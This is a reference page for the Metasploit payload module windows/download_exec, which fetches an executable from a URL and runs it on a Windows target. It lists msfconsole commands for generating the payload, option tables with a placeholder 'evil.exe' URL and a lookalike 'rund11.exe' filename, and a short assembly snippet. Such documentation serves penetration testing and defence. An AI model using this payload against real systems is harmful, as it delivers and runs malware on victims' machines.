Windows Executable Download (http,https,ftp) and Execute - Metasploit


This page contains detailed information about how to use the payload/windows/download_exec metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Windows Executable Download (http,https,ftp) and Execute
Module: payload/windows/download_exec
Source code: modules/payloads/singles/windows/download_exec.rb
Disclosure date: -
Last modification time: 2017-07-24 06:26:21 +0000
Supported architecture(s): x86
Supported platform(s): Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: -

Download an EXE from an HTTP(S)/FTP URL and execute it

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


msf > use payload/windows/download_exec
msf payload(download_exec) > show options
    ... show and set options ...
msf payload(download_exec) > generate

To learn how to generate payload/windows/download_exec with msfvenom, please read this.

Go back to menu.

Msfconsole Usage


Here is how the windows/download_exec payload looks in the msfconsole:

msf6 > use payload/windows/download_exec

msf6 payload(windows/download_exec) > show info

       Name: Windows Executable Download (http,https,ftp) and Execute
     Module: payload/windows/download_exec
   Platform: Windows
       Arch: x86
Needs Admin: No
 Total size: 439
       Rank: Normal

Provided by:
  corelanc0d3r <[email protected]>

Basic options:
Name      Current Setting                 Required  Description
----      ---------------                 --------  -----------
EXE       rund11.exe                      yes       Filename to save & run executable on target system
EXITFUNC  process                         yes       Exit technique (Accepted: '', seh, thread, process, none)
URL       https://localhost:443/evil.exe  yes       The pre-encoded URL to the executable

Description:
  Download an EXE from an HTTP(S)/FTP URL and execute it

Module Options


This is a complete list of options available in the windows/download_exec payload:

msf6 payload(windows/download_exec) > show options

Module options (payload/windows/download_exec):

   Name      Current Setting                 Required  Description
   ----      ---------------                 --------  -----------
   EXE       rund11.exe                      yes       Filename to save & run executable on target system
   EXITFUNC  process                         yes       Exit technique (Accepted: '', seh, thread, process, none)
   URL       https://localhost:443/evil.exe  yes       The pre-encoded URL to the executable

Advanced Options


Here is a complete list of advanced options supported by the windows/download_exec payload:

msf6 payload(windows/download_exec) > show advanced

Module advanced options (payload/windows/download_exec):

   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   PrependMigrate      false            yes       Spawns and runs shellcode in new process
   PrependMigrateProc                   no        Process to spawn and run shellcode in
   VERBOSE             false            no        Enable detailed status messages
   WORKSPACE                            no        Specify the workspace for this module

Go back to menu.

Error Messages


This module may fail with the following error messages:

Error Messages

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

jmp end


Here is a relevant code snippet related to the "jmp end" error message:

64:	    exitfunc = datastore['EXITFUNC'].upcase
65:	
66:	    if exitfuncs[exitfunc]
67:	      exitasm = case exitfunc
68:	        when "SEH" then "xor eax,eax\ncall eax"
69:	        when "NONE" then "jmp end"	# don't want to load user32.dll for GetLastError
70:	        else "push 0x0\npush 0x%x\ncall ebp" % exitfuncs[exitfunc]
71:	      end
72:	    end
73:	
74:	    # parse URL and break it down in

Go back to menu.


Go back to menu.

See Also


Check also the following modules related to this module:

Authors


  • corelanc0d3r <peter.ve[at]corelan.be>

Version


This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.